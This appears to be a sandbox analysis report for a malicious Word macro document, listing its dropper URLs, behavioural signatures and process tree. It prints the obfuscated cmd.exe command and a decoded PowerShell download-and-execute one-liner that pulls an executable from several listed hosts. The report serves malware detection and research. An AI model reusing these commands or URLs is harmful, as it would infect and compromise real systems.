Analysis
- max time kernel
122s - max time network
127s - platform
windows10-2004_x64 - resource
win10v2004-20240419-en - resource tags
- submitted
03/05/2024, 09:26
General
- Target 102fab083b4812c617459c27ef5302e8_JaffaCakes118.doc
- Size 74KB
- Sample240503-lel1esbf2y
- SHA256 764122c8c7d3c80f2c4c5c812333b6d804683a90cd5c6ffe28d36e6bbd2ac90e
Malware Config
Extracted
-
ps1
-
exe.dropper
http://newspectiveaddress.com/rOTph
-
exe.dropper
http://lariotgrill.com/2z8FmXgi
-
exe.dropper
http://akgemc.com/fsHYxx
-
exe.dropper
http://webartikelbaru.web.id/3ykDP
-
exe.dropper
http://artikeltentangwanita.com/L8097n
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 7 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\102fab083b4812c617459c27ef5302e8_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\cmd.execmd /V^:/C"^s^e^t ^XK^d=^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ }^}{hc^t^ac}^;^k^aerb;^F^zv^$ m^e^t^I^-^ek^ovn^I^;)Fzv$^ ,S^BV$(eliFd^a^o^lnw^o^D.^wV^B${^yr^t^{)YRn^$ ni^ SBV^$(^hc^a^ero^f;^'^ex^e^.^'+^z^Sr^$^+^'\'^+cil^bup:vn^e$=Fzv^$^;'^7^9^7'^ ^= ^z^Sr^$;)^'^@'(^til^pS.'n7^9^0^8^L/^m^oc^.atin^aw^gna^tn^e^t^l^ek^i^tr^a//:ptt^h@P^Dky^3/^di.^be^w^.urab^le^kitr^ab^ew//^:p^t^th^@^x^xYH^sf/m^oc^.cmegka//^:^p^t^th^@^i^gXm^F^8z2/moc^.l^l^ir^gto^ira^l//:^p^t^t^h^@hpT^Or/^moc.^ss^erd^d^a^ev^i^tc^eps^w^en//^:p^t^th'=^YRn$^;tnei^lC^be^W.t^eN tce^jb^o-^wen=^wVB$^ lle^h^srew^o^p&&^f^or /^L %^T ^in (3^7^6^;-^1^;0)^d^o ^se^t ^Q^Sl=!^Q^Sl!!^XK^d:~%^T,1!&&^i^f %^T=^=^0 c^a^ll %^Q^Sl:~^5%"2⤵
- Process spawned unexpected child process
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell $BVw=new-object Net.WebClient;$nRY='http://newspectiveaddress.com/rOTph@http://lariotgrill.com/2z8FmXgi@http://akgemc.com/fsHYxx@http://webartikelbaru.web.id/3ykDP@http://artikeltentangwanita.com/L8097n'.Split('@');$rSz = '797';$vzF=$env:public+'\'+$rSz+'.exe';foreach($VBS in $nRY){try{$BVw.DownloadFile($VBS, $vzF);Invoke-Item $vzF;break;}catch{}}3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
sist02.xsl
__PSScriptPolicyTest_vygakjee.hib.ps1
memory/4336-42-0x00000271AEEF0000-0x00000271AEF12000-memory.dmp
memory/4616-9-0x00007FFEE0F10000-0x00007FFEE1105000-memory.dmp
memory/4616-17-0x00007FFEE0F10000-0x00007FFEE1105000-memory.dmp
memory/4616-5-0x00007FFEA0F90000-0x00007FFEA0FA0000-memory.dmp
memory/4616-10-0x00007FFEE0F10000-0x00007FFEE1105000-memory.dmp
memory/4616-0-0x00007FFEA0F90000-0x00007FFEA0FA0000-memory.dmp
memory/4616-8-0x00007FFEE0F10000-0x00007FFEE1105000-memory.dmp
memory/4616-7-0x00007FFEE0F10000-0x00007FFEE1105000-memory.dmp
memory/4616-6-0x00007FFEE0F10000-0x00007FFEE1105000-memory.dmp
memory/4616-13-0x00007FFE9EC90000-0x00007FFE9ECA0000-memory.dmp
memory/4616-12-0x00007FFEE0F10000-0x00007FFEE1105000-memory.dmp
memory/4616-11-0x00007FFEE0F10000-0x00007FFEE1105000-memory.dmp
memory/4616-14-0x00007FFEE0F10000-0x00007FFEE1105000-memory.dmp
memory/4616-16-0x00007FFE9EC90000-0x00007FFE9ECA0000-memory.dmp
memory/4616-3-0x00007FFEA0F90000-0x00007FFEA0FA0000-memory.dmp
memory/4616-15-0x00007FFEE0F10000-0x00007FFEE1105000-memory.dmp
memory/4616-34-0x00007FFEE0F10000-0x00007FFEE1105000-memory.dmp
memory/4616-35-0x00007FFEE0F10000-0x00007FFEE1105000-memory.dmp
memory/4616-36-0x00007FFEE0F10000-0x00007FFEE1105000-memory.dmp
memory/4616-4-0x00007FFEE0FAD000-0x00007FFEE0FAE000-memory.dmp
memory/4616-1-0x00007FFEA0F90000-0x00007FFEA0FA0000-memory.dmp
memory/4616-2-0x00007FFEA0F90000-0x00007FFEA0FA0000-memory.dmp
memory/4616-531-0x00007FFEE0F10000-0x00007FFEE1105000-memory.dmp
memory/4616-532-0x00007FFEE0F10000-0x00007FFEE1105000-memory.dmp
memory/4616-553-0x00007FFEA0F90000-0x00007FFEA0FA0000-memory.dmp
memory/4616-555-0x00007FFEA0F90000-0x00007FFEA0FA0000-memory.dmp
memory/4616-554-0x00007FFEA0F90000-0x00007FFEA0FA0000-memory.dmp
memory/4616-552-0x00007FFEA0F90000-0x00007FFEA0FA0000-memory.dmp
memory/4616-556-0x00007FFEE0F10000-0x00007FFEE1105000-memory.dmp